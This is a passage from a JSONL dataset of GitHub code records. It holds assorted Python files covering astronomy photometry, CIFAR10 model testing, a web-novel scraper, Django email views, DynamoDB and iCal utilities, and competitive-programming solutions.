'mean'\nexample_wanderer_mean = wanderer(fitsFileDir=loadfitsdir, filetype=filetype, \n                                            yguess=yguess, xguess=xguess, method=method)\n\nexample_wanderer_mean.load_data_from_save_files(savefiledir='./SaveFiles/', \n                                                     saveFileNameHeader='Example_Wanderer_Mean_', saveFileType='.pickle.save')\n\nmethod = 'median'\nexample_wanderer_median = wanderer(fitsFileDir=loadfitsdir_ModA, filetype=filetype, \n                                            yguess=yguess, xguess=xguess, method=method)\n\nexample_wanderer_median.load_data_from_save_files(savefiledir='./SaveFiles/', saveFileNameHeader='Example_Wanderer_Median_', saveFileType='.pickle.save')\n\ndataDir     = '/path/to/fits/files/main/directory/'\nfitsFileDir = 'path/to/fits/subdirectories/'\n\nloadfitsdir = dataDir + fitsFileDir\n\nmethod = 'median'\n\nprint('Initialize an instance of `wanderer` as `example_wanderer_median`\\n')\nexample_wanderer_median = wanderer(fitsFileDir=loadfitsdir_ModB, filetype=filetype, \n                                            yguess=yguess, xguess=xguess, method=method)\n\nprint('Load Data From Fits Files in ' + fitsFileDir_ModB + '\\n')\nexample_wanderer_median.load_data_from_fits_files()\n\nprint('Skipping Load Data From Save Files in ' + fitsFileDir_ModB + '\\n')\n# example_wanderer_median.load_data_from_save_files()\n\nprint('Find, flag, and NaN the \"Bad Pixels\" Outliers' + '\\n')\nexample_wanderer_median.find_bad_pixels()\n\nprint('Fit for All Centers: Flux Weighted, Gaussian Fitting, Gaussian Moments, Least Asymmetry' + '\\n')\n# example_wanderer_median.fit_gaussian_fitting_centering()\n# example_wanderer_median.fit_flux_weighted_centering()\n# example_wanderer_median.fit_least_asymmetry_centering()\nexample_wanderer_median.fit_all_centering()\n\nprint('Measure Background Estimates with All Methods: Circle Masked, Annular Masked, KDE Mode, Median Masked' + '\\n')\n# example_wanderer_median.measure_background_circle_masked()\n# example_wanderer_median.measure_background_annular_mask()\n# example_wanderer_median.measure_background_KDE_Mode()\n# example_wanderer_median.measure_background_median_masked()\nexample_wanderer_median.measure_all_background()\n\nprint('Iterating over Background Techniques, Centering Techniques, Aperture Radii' + '\\n')\nbackground_choices = example_wanderer_median.background_df.columns\ncentering_choices  = ['Gaussian_Fit', 'Gaussian_Mom', 'FluxWeighted', 'LeastAsymmetry']\naperRads           = np.arange(1, 100.5,0.5)\n\nstart = time()\nfor bgNow in background_choices:\n    for ctrNow in centering_choices:\n        for aperRad in aperRads:\n            print('Working on Background ' + bgNow + ' with Centering ' + ctrNow + ' and AperRad ' + str(aperRad), end=\" \")\n            example_wanderer_median.compute_flux_over_time(aperRad=aperRad, centering=ctrNow, background=bgNow)\n            flux_key_now  = ctrNow + '_' + bgNow+'_' + 'rad' + '_' + str(aperRad)\n            print(std(example_wanderer_median.flux_TSO_df[flux_key_now] / median(example_wanderer_median.flux_TSO_df[flux_key_now]))*ppm)\n\nprint('Operation took: ', time()-start)\n\nprint('Saving `example_wanderer_median` to a set of pickles for various Image Cubes and the Storage Dictionary')\nexample_wanderer_median.save_data_to_save_files(savefiledir='./SaveFiles/', saveFileNameHeader='Example_Wanderer_Median_', saveFileType='.pickle.save')\n\nmethod = 'mean'\n\nprint('Initialize an instance of `wanderer` as `example_wanderer_mean`')\nexample_wanderer_mean = wanderer(fitsFileDir=loadfitsdir_ModB, filetype = filetype, \n                                yguess=yguess, xguess=xguess, method=method)\n\nprint('Load Data From Fits Files in ' + loadfitsdir)\nexample_wanderer_mean.load_data_from_fits_files()\n\nprint('Skipping Load Data From Save Files in ' + loadfitsdir)\n# example_wanderer_mean.load_data_from_save_files()\n\nprint('Find, flag, and NaN the \"Bad Pixels\" Outliers')\nexample_wanderer_mean.find_bad_pixels()\n\nprint('Fit for All Centers: Flux Weighted, Gaussian Fitting, Gaussian Moments, Least Asymmetry')\n# example_wanderer_mean.fit_gaussian_fitting_centering()\n# example_wanderer_mean.fit_flux_weighted_centering()\n# example_wanderer_mean.fit_least_asymmetry_centering()\nexample_wanderer_mean.fit_all_centering()\n\nprint('Measure Background Estimates with All Methods: Circle Masked, Annular Masked, KDE Mode, Median Masked')\n# example_wanderer_mean.measure_background_circle_masked()\n# example_wanderer_mean.measure_background_annular_mask()\n# example_wanderer_mean.measure_background_KDE_Mode()\n# example_wanderer_mean.measure_background_median_masked()\nexample_wanderer_mean.measure_all_background()\n\nprint('Iterating over Background Techniques, Centering Techniques, Aperture Radii')\nbackground_choices = example_wanderer_mean.background_df.columns\ncentering_choices  = ['Gaussian_Fit', 'Gaussian_Mom', 'FluxWeighted', 'LeastAsymmetry']\naperRads           = np.arange(1, 100.5,0.5)\n\nstart = time()\nfor bgNow in background_choices:\n    for ctrNow in centering_choices:\n        for aperRad in aperRads:\n            print('Working on Background ' + bgNow + ' with Centering ' + ctrNow + ' and AperRad ' + str(aperRad), end=\" \")\n            example_wanderer_mean.compute_flux_over_time(aperRad=aperRad, centering=ctrNow, background=bgNow)\n            flux_key_now  = ctrNow + '_' + bgNow+'_' + 'rad' + '_' + str(aperRad)\n            print(std(example_wanderer_mean.flux_TSO_df[flux_key_now] / median(example_wanderer_mean.flux_TSO_df[flux_key_now]))*ppm)\n\nprint('Operation took: ', time()-start)\n\nprint('Saving `example_wanderer_mean` to a set of pickles for various Image Cubes and the Storage Dictionary')\nexample_wanderer_mean.save_data_to_save_files(savefiledir='./SaveFiles/', saveFileNameHeader='Example_Wanderer_Mean_', saveFileType='.pickle.save')\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/Exoplanet TSO Pipeline.py","file_name":"Exoplanet TSO Pipeline.py","file_ext":"py","file_size_in_byte":41784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19643876471","text":"from .NArg import NArg\nfrom .NKwarg import NKwarg\nfrom .Lemma import Lemma\n\n\nclass Rule:\n    def __init__(self, names, *tests, g_test=None):\n        self.names = names.split('|')\n        self.tests = tuple(map(self.parse_test, tests))\n        self.size = len(tests)\n        self.g_test = g_test\n\n    def parse_test(self, test):\n        if isinstance(test, str):\n            return self.parse_names(test)\n            # return lambda item: any(name in test.split('|') for name in item.names)\n        else:\n            return test\n\n    def get_test(self, index):\n        return self.tests[-1 - index]\n\n    def finalize(self, *items):\n        if self.g_test is None or self.g_test(*items):\n            args = []\n            kwargs = {}\n\n            for item, test in zip(items, self.tests):\n                if isinstance(test, NArg):\n                    test.build(item, args, kwargs)\n            # print(args, kwargs, file=sys.stderr)\n            return Lemma(self, *args, **kwargs)\n        else:\n            return None\n\n    def parse_names(self, names):\n        if ':' in names:\n            return NKwarg(names)\n        else:\n            return NArg(names)\n\n    def build(self, parser, item, *items):\n        if self.get_test(len(items))(item):\n            # if self.tests[-1 - len(items)](item):\n            if 0 <= len(items) < self.size - 1:\n                for prev in parser.get_by_end(item.start):\n                    for res in self.build(parser, prev, item, *items):\n                        yield res\n            elif len(items) == self.size - 1:\n                res = self.finalize(item, *items)\n                if res:\n                    yield res\n                # if self.g_test is None or self.g_test(item, *items):\n                #     yield Lemma(self, item, *items)\n            else:\n                raise Exception\n","repo_name":"GabrielAmare/text_parsing","sub_path":"parsing/Rule.py","file_name":"Rule.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"2944082088","text":"import tensorflow\nimport pickle\nimport numpy\n\ndef get_dataset_images(test_path_path, im_dim=32, num_channels=3):\n    \"\"\"\n    Similar to the one used in training except that there is just a single testing binary file for testing the CIFAR10 trained models.\n    \"\"\"\n    print(\"Working on testing patch\")\n    data_dict = unpickle_patch(test_path_path)\n    images_data = data_dict[b\"data\"]\n    dataset_array = numpy.reshape(images_data, newshape=(len(images_data), im_dim, im_dim, num_channels))\n    return dataset_array, data_dict[b\"labels\"]\n\ndef unpickle_patch(file):\n    \"\"\"\n    Identical to the one used in training.\n    \"\"\"\n    patch_bin_file = open(file, 'rb')\n    patch_dict = pickle.load(patch_bin_file, encoding='bytes')\n    return patch_dict\n\n#***********************************************************************************\n#Dataset path containing the testing binary file to be decoded.\npatches_dir = \"C:\\\\Users\\\\Dell\\\\Downloads\\\\Compressed\\\\cifar-10-python\\\\cifar-10-batches-py\\\\\"\ndataset_array, dataset_labels = get_dataset_images(test_path_path=patches_dir + \"test_batch\", im_dim=32, num_channels=3)\nprint(\"Size of data : \", dataset_array.shape)\n\nsess = tensorflow.Session()\n\n#Restoring the previously saved trained model.\nsaved_model_path = 'C:\\\\Users\\\\Dell\\\\Desktop\\\\model\\\\'\nsaver = tensorflow.train.import_meta_graph(saved_model_path+'model.ckpt.meta')\nsaver.restore(sess=sess, save_path=saved_model_path+'model.ckpt')\n\n#Initalizing the varaibales.\nsess.run(tensorflow.global_variables_initializer())\n\ngraph = tensorflow.get_default_graph()\n\n\"\"\"\nRestoring previous created tensors in the training phase based on their given tensor names in the training phase.\nSome of such tensors will be assigned the testing input data and their outcomes (data_tensor, label_tensor, and keep_prop).\nOthers are helpful in assessing the model prediction accuracy (softmax_propabilities and softmax_predictions).\n\"\"\"\nsoftmax_propabilities = graph.get_tensor_by_name(name=\"softmax_probs:0\")\nsoftmax_predictions = tensorflow.argmax(softmax_propabilities, axis=1)\ndata_tensor = graph.get_tensor_by_name(name=\"data_tensor:0\")\nlabel_tensor = graph.get_tensor_by_name(name=\"label_tensor:0\")\nkeep_prop = graph.get_tensor_by_name(name=\"keep_prop:0\")\n\n#keep_prop is equal to 1 because there is no more interest to remove neurons in the testing phase.\nfeed_dict_testing = {data_tensor: dataset_array,\n                     label_tensor: dataset_labels,\n                     keep_prop: 1.0}\n#Running the session to predict the outcomes of the testing samples.\nsoftmax_propabilities_, softmax_predictions_ = sess.run([softmax_propabilities, softmax_predictions],\n                                                      feed_dict=feed_dict_testing)\n#Assessing the model accuracy by counting number of correctly classified samples.\ncorrect = numpy.array(numpy.where(softmax_predictions_ == dataset_labels))\ncorrect = correct.size\nprint(\"Correct predictions/10,000 : \", correct)\n\n#Closing the session\nsess.close()\n","repo_name":"ahmedfgad/CIFAR10CNNFlask","sub_path":"Training_CIFAR10_CNN/CIFAR10_CNN_Test.py","file_name":"CIFAR10_CNN_Test.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"38"}
{"seq_id":"1562998427","text":"from convert_to_file_name.convert_to_safe_file_name import convert_to_file_name\nimport os\n\n\nfrom bs4 import BeautifulSoup\nfrom urllib.request import Request, urlopen\n\n\ndef scrape(fchap, lchap,site):\n    \"\"\"\n    Takes a first chapter and last chapter along with what chapter to begin scraping from.(Site is a link to that chapter)\n    :param fchap:\n    :param lchap:\n    :param site:\n    :return:\n    \"\"\"\n    baseSite = \"https://www.wuxiaworld.com\"\n\n\n    for x in range(fchap, lchap):\n        hdr = {'User-Agent': 'Mozilla/5.0'}\n        req = Request(site, headers=hdr)\n\n        page = urlopen(req)\n        soup = BeautifulSoup(page)\n        folder = soup.find(class_='caption').find('h4')\n\n\n        folder = convert_to_file_name(str(folder.text))\n\n        save_path = './'+str(folder)+'/'\n        if not os.path.exists(save_path):\n            os.mkdir(save_path)\n\n        \"Grabs a link to the next chapter\"\n        nextChapter = soup.find(class_='next').find(class_='btn btn-link').get('href')\n\n        \"Finds all the chapter content of the current chapter\"\n        results = soup.find('div', id='chapter-content').find_all(\"p\")\n\n        \"Gets the current chapter header\"\n        chapter = soup.find('div', id='chapter-outer').find('h4')\n\n        site = baseSite + nextChapter\n        textfile = \"Chapter \" + str(x) + \".xhtml\"\n        completeName = os.path.join(save_path, textfile)\n\n        f = open(completeName, \"a\", encoding='utf-8')\n        f.write(str(chapter))\n\n        for y in results:\n\n            \"Checks if the content was actually scraped successfully. If not it tries again\"\n            if results != None:\n                f.write(str(y))\n\n            else:\n                x = x - 1\n\n        site = baseSite + nextChapter\n\n\n        f.close()\n\n\nif __name__ == '__main__':\n    scrape(1,5,'https://www.wuxiaworld.com/novel/second-life-ranker/slr-chapter-1')","repo_name":"AlvinValdez/EPUBScraper","sub_path":"src/parsers/wuxia.py","file_name":"wuxia.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17972329368","text":"'''\r\nNessa aula, vamos aprender como utilizar a instrução break e os loopings infinitos a favor das nossas\r\nestratégias de código. É muito importante saber usar o break no Python, já que em alguns casos precisamos\r\ninterromper um laço no meio do caminho.\r\n\r\nAlém disso, vamos aprender como trabalhar com as novas fstrings do Python.\r\n\r\ncont  = 1\r\nwhile cont <= 10:\r\n    print(f'{cont}, ', end='')\r\n    cont = cont + 1\r\nprint(f'Acabou.')\r\n\r\nc = 0\r\nn = 0\r\nwhile c < 3:\r\n    n = int(input(f'Informe-nos um número: '))\r\n    c = c + 1\r\nprint(f'FIM.')\r\n\r\ns = 0\r\nn = 0\r\nwhile n != 999:\r\n    n = int(input(f'Informe-nos um número: '))\r\n    s = s + n\r\n# s = s - 999 gambiarra\r\nprint(f'A soma é {s}.')\r\nprint(f'FIM.')\r\n'''\r\ns = 0\r\nn = 0\r\nwhile True:\r\n    n = int(input(f'Informe-nos um número: '))\r\n    if n == 999:\r\n        break\r\n    s = s + n\r\n#print('A some é {}'.format(s)(s))\r\nprint(f'A soma é {s}.')\r\nprint(f'FIM.')","repo_name":"samueljunior1/CursoEmVideo","sub_path":"Aulas/Aula 15 – Interrompendo repetições while.py","file_name":"Aula 15 – Interrompendo repetições while.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39801224691","text":"import socket\n\ndef main():\n    host = socket.gethostbyname(socket.gethostname())\n    print(host)\n    s = socket.socket()\n    s.connect((host, 15001))\n    out = s.makefile(\"w\")\n    out.write('1 GETPOS\\n')\n    out.write('2 GOTOLOC VENDDOOR\\n')\n    out.write('3 NAVTOLOC VENDDOOR\\n')\n    out.write('4 NAVTOXY 74.3904 36.6048\\n')\n    #Should return an ERROR condition\n    out.write('5 NAVTOLOC NOWHERE\\n')\n    s.close()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"corobotics/corobots","sub_path":"corobot_manager/test/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"}
{"seq_id":"9373609796","text":"import logging\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\nfrom ml.ml import ml\nfrom models.metric import Metric\nfrom models.version import Version\nfrom utils.database import get_included_and_current_versions_filter\nfrom utils.timeit import timeit\n\n\nclass BugVelocity(ml):\n    \"\"\"\n    BugVelocity is a simple Machine Learning model (a bit naive) based on the history of\n    bug velocity values. It demonstrate how you can integrate your own model into the tool.\n    \"\"\"\n    \n    def __init__(self, project_id, session, config):\n        ml.__init__(self, project_id, session, config)\n        self.name = \"bugvelocity\"\n\n    @timeit\n    def train(self):\n        \"\"\"Train the model\"\"\"\n        logging.info(\"BugVelocity:train\")\n\n        included_versions = self.configuration.include_versions\n        excluded_versions = self.configuration.exclude_versions\n\n        releases_statement = self.session.query(Version). \\\n            order_by(Version.start_date.asc()) \\\n            .filter(Version.project_id == self.project_id) \\\n            .filter(Version.include_filter(included_versions)) \\\n            .filter(Version.exclude_filter(excluded_versions)) \\\n            .filter(Version.name != self.configuration.next_version_name).statement\n        df = pd.read_sql(releases_statement, self.session.get_bind())\n        X=df[['bug_velocity']]\n        y=df[['bugs']].values.ravel()\n\n        # Model: RandomForestRegressor\n        self.model = RandomForestRegressor(n_estimators=200, random_state=1043)\n        X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=5)\n        self.model.fit(X_train, y_train)\n        y_pred = self.model.predict(X_test)\n        rdmForest_predictions = [round(value) for value in y_pred]\n        self.mse = mean_squared_error(y_test, rdmForest_predictions)\n        logging.info(\"BugVelocity: Mean Square Error : \" + str(self.mse))\n        self.store()\n\n\n    @timeit\n    def predict(self)->int:\n        \"\"\"Predict the next value\"\"\"\n        logging.info(\"BugVelocity::predict\")\n        self.restore()  # unpickle the model\n        bug_velocity = self.session.query(Version.bug_velocity). \\\n            filter(Version.project_id == self.project_id). \\\n            filter(Version.name == self.configuration.next_version_name).scalar()\n        d = {'bug_velocity': [bug_velocity]}\n        X_test = pd.DataFrame(data=d)\n        prediction_df = self.model.predict(X_test)\n        value = round(prediction_df[0])\n        return value\n","repo_name":"optittm/bugprediction","sub_path":"ml/bugvelocity.py","file_name":"bugvelocity.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40937241342","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nfrom mpl_toolkits.basemap import Basemap\n\n\nclass GIS_Map_Viz:\n\n    def __init__(self, latitude_feature_name=None, longitude_feature_name=None,\n                 gps_bounderies_dict={}):\n        '''create a GIS gps map of the longitude and latitude values provided within the boundaries '''\n\n        # Save data features by type and label\n        print(\"GIS_Map_Viz: __init__ ... v2\")\n\n        self.latitude_feature_name = latitude_feature_name\n        self.longitude_feature_name = longitude_feature_name\n        self.gps_bounderies_dict = gps_bounderies_dict\n\n    def _display_gps_map(self, df, labels, map_title):\n        '''print the longitude & latitude GPS coordinates of the dataframe within the map bounderies'''\n\n        print(\"GIS_Map_Viz: _display_gps_map ...\")\n        fig = plt.figure(figsize=(20, 10))\n        plt.title(map_title)\n\n        m = Basemap(\n            projection='merc',\n            llcrnrlat=self.gps_bounderies_dict['lat_min'] - 0.5,\n            urcrnrlat=self.gps_bounderies_dict['lat_max'] + 0.5,\n            llcrnrlon=self.gps_bounderies_dict['lon_min'] - 0.5,\n            urcrnrlon=self.gps_bounderies_dict['lon_max'] + 0.5,\n            resolution='i')\n\n        # Reference: https://matplotlib.org/basemap/users/geography.html\n        m.drawmapboundary(fill_color='#85A6D9')\n        m.drawcoastlines(color='#6D5F47', linewidth=.8)\n        m.drawrivers(color='green', linewidth=.4)\n        m.shadedrelief()\n        m.drawcountries()\n        m.fillcontinents(lake_color='aqua')\n\n        mycmap = matplotlib.colors.LinearSegmentedColormap.from_list(\n            \"\", [\"green\", \"yellow\", \"red\"])\n        longitudes = df[self.longitude_feature_name].tolist()\n        latitudes = df[self.latitude_feature_name].tolist()\n        if labels is None:\n            labels = 'darkblue'\n            wp = mpatches.Patch(color='darkblue', label='water points')\n            plt.legend(handles=[wp], title='Location')\n        else:\n            labels = labels.cat.codes\n            wp_functional = mpatches.Patch(\n                color='green', label='water points: functional')\n            wp_need_repair = mpatches.Patch(\n                color='red', label='water points: non functional')\n            wp_non_functional = mpatches.Patch(\n                color='yellow', label='water points: functional needs repair')\n            plt.legend(handles=[wp_functional, wp_need_repair,\n                                wp_non_functional],\n                       title='Location and Status')\n\n        m.scatter(\n            longitudes,\n            latitudes,\n            s=0.05,\n            zorder=2,\n            latlon=True,\n            c=labels,\n            cmap=mycmap)\n        plt.show()\n","repo_name":"ChristopherCochet/Predictive-Maintenance","sub_path":"gis_map_viz.py","file_name":"gis_map_viz.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"31643912827","text":"from django.core.mail import BadHeaderError, send_mail\nfrom django.http import HttpResponse, HttpResponseRedirect\n\ndef test_send_mail(request):\n    subject = request.POST.get('subject', 'send_mail')\n    message = request.POST.get('message', 'mensaje enviado utilizando send_mail')\n    from_email = request.POST.get('from_email', 'info@lubresrl.com.ar')\n    if subject and message and from_email:\n        try:\n            send_mail(subject, message, from_email, ['info@lubresrl.com.ar'])\n        except BadHeaderError:\n            return HttpResponse('Encabezado inválido.')\n        # return HttpResponseRedirect('/contact/thanks/')\n        return HttpResponse('Mensaje enviado correctamente.')\n    else:\n        return HttpResponse('Asegúrese que todos los campos estén ingresados ​​y sean válidos.')\n\n\nfrom django.template import loader\nfrom django.contrib.auth.models import User\n\ndef test_send_mail_template(request):\n    subject = request.POST.get('subject', 'Gracias por usar email')\n    message = request.POST.get('message', 'Mensaje enviado utilizando send_mail')\n    from_email = request.POST.get('from_email', 'info@lubresrl.com.ar')\n    html_message = loader.render_to_string(\n                        'mails/ejemplo.html',\n                        {\n                            # config\n                            'logo_url': 'https://lubresrl.com.ar/static/favicon.png',\n                            'footer_content': '<p>Ruta 9 km 1306 - T4101 Los Nogales - Tucuman, Argentina</p>',\n                            'facebook_url': 'https://www.facebook.com/lubresrl.ypfagro/',\n                            'twitter_url': 'https://ar.linkedin.com/company/lubre-srl',\n                            'instagram_url': 'https://www.instagram.com/lubresrl.ypfagro/',\n                            'website_url': 'https://lubresrl.com.ar',\n                            # css\n                            'color_header_bg': '#f7f7f7',\n                            'color_title': '#222222',\n                            'title_size': 'h1',\n                            'color_body_bg': '#ffffff',\n                            'color_body': '#808080',\n                            'color_body_link': '#007e9e',\n                            'color_button': '#ffffff',\n                            'color_button_bg': '#00add8',\n                            'border_radius_button': '3',\n                            'color_footer': '#ffffff',\n                            'color_footer_link': '#ffffff',\n                            'color_footer_bg': '#333333',\n                            'color_footer_divider': '#505050',\n                            # data\n                            'subject': subject,\n                            'title': 'Título',\n                            'body': message,\n                            'banner_url': 'https://lubresrl.com.ar/static/img/ypf_agro.png',\n                            'button_link': 'https://lubresrl.com.ar/',\n                            'button_label': 'Lubre SRL',\n                            # custom\n                            'user_name': 'Usuario',     # User.username,\n                        }\n                   )\n    try:\n        send_mail(subject, message, from_email, ['info@lubresrl.com.ar'], \n                fail_silently=True, html_message=html_message\n        )\n        return HttpResponse('Mensaje enviado correctamente.')\n    except BadHeaderError:\n        return HttpResponse('Asegúrese que todos los campos estén ingresados ​​y sean válidos.')\n\n\n# django-templated-email\nfrom templated_email import send_templated_mail\nfrom decouple import config\n\ndef test_simple_mail(request):\n    # template='welcome'\n    template='signup'\n    try:\n        send_templated_mail(\n            template_name=template,\n            from_email='info@lubresrl.com.ar',\n            recipient_list=['info@lubresrl.com.ar'],\n            context={\n                'username': request.user.username,\n                'email': request.user.email,\n                'date_joined': request.user.date_joined\n            },\n            # Optional:\n            # cc=['cc@example.com'],\n            # bcc=['bcc@example.com'],\n            # headers={'My-Custom-Header':'Custom Value'},\n            # template_prefix=\"my_emails/\",\n            # template_suffix=\"email\",\n        )\n        return HttpResponse('Mensaje enviado correctamente.')\n    except BadHeaderError:\n        return HttpResponse('Asegúrese que todos los campos estén ingresados ​​y sean válidos.')\n\n\ndef signup_mail(to, username, joined):\n    try:\n        from_email = config('DJANGO_EMAIL_HOST_USER')\n        send_templated_mail(\n            template_name = 'signup',\n            from_email = from_email,\n            recipient_list = [to],\n            context={\n                'username': username,\n                'email': to,\n                'date_joined': joined,\n            },\n        )\n    except:\n        raise\n","repo_name":"robertowest/lubre_homepage","sub_path":"apps/comunes/views/mails.py","file_name":"mails.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21725882668","text":"from pprint import pprint\nimport boto3\n\n\ndef put_movie(title, year, plot, rating, dynamodb=None):\n    if not dynamodb:\n        dynamodb = boto3.resource('dynamodb', endpoint_url=\"http://localhost:8000\")\n\n    table = dynamodb.Table('Movies')\n    response = table.put_item(\n       Item={\n            'year': year,\n            'title': title,\n            'info': {\n                'plot': plot,\n                'rating': rating\n            }\n        }\n    )\n    return response\n\n\nif __name__ == '__main__':\n    movie_resp = put_movie(\"The Big New Movie\", 2015,\n                           \"Nothing happens at all.\", 0)\n    print(\"Put movie succeeded:\")\n    pprint(movie_resp, sort_dicts=False)\n# snippet-end:[dynamodb.python.codeexample.MoviesItemOps01]\n","repo_name":"siagholami/aws-documentation","sub_path":"documents/aws-doc-sdk-examples/python/example_code/dynamodb/GettingStarted/MoviesItemOps01.py","file_name":"MoviesItemOps01.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"}
{"seq_id":"40769995976","text":"from flask import Flask, request\nfrom config import *\nimport requests\nimport icalendar\n\napp = Flask(__name__)\n\ndef display(cal):\n    return cal.to_ical().replace('\\r\\n', '\\n').strip()\n\n@app.route('/icalparser')\ndef icalparser():\n    original = requests.get('{}'.format(url)).text\n    cal = icalendar.Calendar.from_ical(original)\n\n    new_cal = icalendar.Calendar()\n\n    for event in cal.walk('vevent'):\n        for words in blacklist:\n            if all(word in event['SUMMARY'] for word in words):\n                break\n        else:\n            new_cal.add_component(event)\n\n\n\n    print('success')\n    return (new_cal.to_ical(), 200)\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000)\n","repo_name":"Tommilala/icalparser","sub_path":"icalparser.py","file_name":"icalparser.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1440420666","text":"# B - Bite Eating\n\nN, L = map(int, input().split())\nans = 0\nmn = float('inf')\nfor i in range(1, N + 1):\n    ans += L + i - 1\n    if abs(L + i - 1) < abs(mn):\n        mn = L + i - 1\n\nprint(ans - mn)\n","repo_name":"muck0120/contest","sub_path":"AtCoder/ABC/131/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22485899190","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport logging\nimport os\nimport pickle\n\nfrom .name import Name\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(\"DEBUG\")\n\n\nclass Structure:\n    \"\"\"Metaclass that creates a collection of :meth:`Name<crif_pyton_libraries.check_columns.Name>` instances\n\n    For each dictionary inside columns list, Columns create an istance of\n    :meth:`Name<crif_pyton_libraries.check_columns.Name>` and set its properties.\n    Each Name instance is also treated as a Columns property.\n\n    Attributes:\n        names (list): an ordered list of all the names contained in columns list.\n        domains (set): a set of available domains\n    \"\"\"\n\n    def __init__(self, name_list, *args, **kwargs):\n        \"\"\"Constructor method for Columns\n\n        Args:\n            name_list (list): Each dictionary inside columns list\n                must respect :envvar:`ordered_columns` syntax.\n        \"\"\"\n        self.names = []\n        self.domains = set()\n        for name_definition in name_list:\n\n            if name_definition[\"name\"] in self.names:\n                raise ValueError(\n                    \"Name {} already present\".format(name_definition[\"name\"])\n                )\n\n            self._add_name(name_definition)\n\n            for domain in name_definition[\"domains\"]:\n                self._add_domain(domain=domain)\n\n    def _add_domain(self, domain):\n        self.domains.add(domain)\n\n    def _add_name(self, name_definition):\n        name = Name(**name_definition)\n        self.names.append(name.name)\n        setattr(self, name.name, name)\n\n    def get_names(self, domain=None):\n        \"\"\"Select column names from self.names respecting insertion order.\n\n        Domain and selected arguments can be used to select a sample of names.\n\n        Args:\n            domain (str): domain of expected names. Domains refers to domain\n                property of :meth:`Name<crif_pyton_libraries.check_columns.Name>`\n\n        Returns:\n            selection (list): list of selected columns.\n\n        \"\"\"\n\n        selection = []\n        for name in self.names:\n\n            target = getattr(self, name)\n\n            if not isinstance(target, Name):\n                continue\n\n            if domain and domain not in target.domains:\n                continue\n\n            selection.append(name)\n\n        return selection\n\n    def __getitem__(self, name):\n        return self.__dict__[name]\n\n    def get(self, name, default=None):\n        return self.__dict__.get(name, default)\n\n    def dump(self, filename: str, overwrite=False):\n        if not filename.endswith(\".pkl\"):\n            filename += \".pkl\"\n\n        logger.info(\"Saving on {}\".format(filename))\n\n        if os.path.exists(filename):\n            if not overwrite:\n                msg = \"{} ALREADY EXISTS! I'M NOT ABLE TO OVERWRITE!\".format(filename)\n                logger.info(msg)\n                raise FileExistsError(msg)\n\n            logger.info(\"Overwriting {}...\".format(filename))\n\n        with open(filename, \"wb\") as output:\n            pickle.dump(self.__dict__, output)\n\n    def load(self, filename):\n        logger.debug(\"Loading from {}\".format(filename))\n        if not os.path.exists(filename):\n            logger.error(\"{} DOES NOT EXISTS!\".format(filename))\n            raise FileNotFoundError(\"{} DOES NOT EXISTS!\".format(filename))\n\n        with open(filename, \"rb\") as input_file:\n            self.__dict__ = pickle.load(input_file)\n","repo_name":"pietrogiuffrida/carbonium","sub_path":"carbonium/structure.py","file_name":"structure.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"20409523163","text":"# import sys; input = sys.stdin.readline\n\ndef find(n):\n    global parent\n    if parent[n] != n:\n        parent[n] = find(parent[n])\n    return parent[n]\n\ndef union(a, b):\n    global rank, parent\n    if rank[a] > rank[b]:\n        parent[b] = a\n    else:\n        parent[a] = b\n        if rank[a] == rank[b]:\n            rank[b] += 1\n\ndef cycle_check(a, b):\n    global rank, parent\n    a, b = find(a), find(b)\n    if a == b:\n        return True\n    union(a, b)\n    return False\n\ndef kruskal(N, M, adj_list):\n    cost = 0\n    cnt = 0\n    for i in range(M):\n        c, a, b = adj_list[i]\n        if cycle_check(a, b): continue # 사이클이 생긴 경우\n        cost += c\n        cnt += 1\n\n    if cnt == N - 1: # 건물이 N개이므로 N-1개의 도로가 있어야함\n        return cost\n    return -1\n\ndef main():\n    # 0. 입력\n    global parent, rank\n    N, M = map(int, input().split())\n    parent = list(range(N + 1))\n    rank = [0 for _ in range(N + 1)]\n    roads = []\n    max_cost = 0\n    for _ in range(M):\n        a, b, c = map(int, input().split())\n        roads.append((c, a, b))\n        max_cost += c\n    roads.sort()\n    # 1. 최소 신장트리\n    ans = kruskal(N, M, roads)\n    # 